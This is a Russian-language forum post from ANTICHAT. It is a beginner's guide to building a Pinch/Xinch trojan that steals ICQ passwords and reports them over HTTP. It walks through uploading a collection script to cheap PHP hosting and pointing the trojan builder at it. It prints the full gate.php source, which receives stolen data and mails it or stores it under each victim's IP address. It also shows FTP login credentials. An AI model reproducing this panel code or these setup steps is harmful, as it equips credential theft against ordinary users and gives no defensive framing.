ANTICHAT — форум по информационной безопасности, OSINT и технологиям

Привет всем !
Сейчас я хочу вам рассказать чему я научился на ачате
Я научился комплить троя для угона аси через http
сейчас я вам расскажу как это сделать:
Что на нужно:
1)Это сам троян пинч\ксинч(но я предпочитаю ксинч) можете скачатьотсюда
2)Это сайт поддержкой php возьмем к примеру www.holm.ru
3)gate.php скачайте этот
4)Это TotalCmd и желательно Руссификатор
После активации сайта вам прийдет письмо с настройками фтп
это примерно будет выглядить так
Server:xaknyacu.h17.ru
login:xaknyacu7
Password:ErqWEDfs
Потом через Total Commander подключаемся к нашему сайту.
Мы на фтп! Идем в папку WWW и создаем там любую дирректорию. Я создал passi. Далее заходим в папку и вставляем туда gate.php
Потом открываем gate.php
это так:
<?
//CFG
$mode = 2; //1.Send to e-mail, 2.Save to file, 3.E-mail+file
$rndatch = FALSE; //Random reports names
$savetodir = TRUE; //Save rerorts to changed directory
$dirname = "сюда мы пишим ту папку куда будут приходить пароль это (otcheti)"; //Directory name

// a - recepient
// b - subject
// c - message body
// d - file name(not *.php)

//Getting data
$ip=getenv("REMOTE_ADDR");
$email=$_POST['a'];
$subject=$_POST['b']."(".$ip.")";
$msg = str_replace(" ","+",$_POST['c']);
$var = $_POST['d'];


//Storing || Sending data
//via E-Mail
IF($mode == 1 || $mode == 3){

IF($rndatch){
$array = range('a','z');
$c=count($array);
$var = $array[rand(1,$c)] . $array[rand(1,$c)] . $array[rand(1,$c)] . $array[rand(1,$c)] . rand(0,9) . rand(0,9) . ".bin";
};

$headers = "Content-Type: application/octet-stream; name=\"".$var."\"\n";
$headers.= "Content-Transfer-Encoding: base64\n";
$headers.= "Content-Disposition: attachment; filename=\"".$var."\"\n";
mail($email, $subject, $msg, $headers);
};

//via File
IF($mode == 2 || $mode == 3){

//To dir
IF($savetodir){
@mkdir($dirname);
@chdir($dirname);
}

$vartype=substr($var,-3,3);
IF($vartype == "php") $var.=".saf";

$filename = date('H_i-d.m.Y',time()+3600*6)."_".$ip."_".$var;

$fp=fopen($filename,'w');
fwrite($fp, base64_decode($msg));
fclose($fp);
};
?>

<title>ret_ok</title>
Работа на фтп закончена!

Затем запускаем билдер пинча\хинча. И создаем вирус указав во складке http в форме URL адрес до gate.php!
Это будет где-то как http://xaknyacu.h17.ru/passi/gate.php и ставим галку в поле http
и Комплим вирус
Для открытия отчётов на понадобится passer
Вот и всё!